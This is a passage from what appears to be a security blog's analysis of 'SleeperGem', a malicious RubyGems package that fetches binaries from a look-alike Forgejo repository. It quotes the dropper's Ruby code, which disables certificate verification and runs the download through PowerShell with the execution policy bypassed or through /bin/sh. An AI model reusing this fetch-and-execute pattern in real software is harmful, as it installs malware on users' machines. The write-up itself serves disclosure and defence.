SleeperGem: RubyGems supply chain attack targets dormant maintainer accounts

Summary

It's not often we see a supply chain attack on RubyGems. But with summer vacations in full swing, perhaps we should have expected one. It was still a surprise when I opened the triage queue this morning and found a suspicious new package waiting.A brand-new gem called git_credential_manager had four versions published in rapid succession. At first glance, all it appeared to do was download some binaries from a host I'd never seen before. Surely that couldn't be malicious... right?Random binariesThe package immediately stood out because it simply downloaded binaries from a Git repository hosted at https://git.disroot[.]org/git-ecosystem/.git.disroot[.]org is a public Forgejo instance where anyone can create repositories. Someone had conveniently registered the username git-ecosystem, making the project look just legitimate enough to avoid immediate suspicion.Inside the repository was nothing more than binaries, some zipped up. When we submitted one of them to VirusTotal, antivirus vendors wasted no time flagging it as malicious.What has the world come to if we can't even trust the "Git Ecosystem"? /s‍Not exactly subtle, once you lookPulling the four versions apart, you can watch the delivery mechanism get built in real time over about nine hours, in two sittings.Version 2.8.0 was already a fully working dropper on day one: build a URL against that hardcoded Forgejo host, fetch it with certificate verification explicitly switched off, and hand the payload straight to a shell or PowerShell:def base_url "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main" end http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Disable SSL verificationif goos == "windows" Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"") else Process.spawn("/bin/sh \"#{full_path}\"") end Version 2.8.1, 24 minutes later, changed exactly one thing: it piped the Unix execution's output to /dev/null. No new capability, just a quieter one. Someone was watching their own malware's c...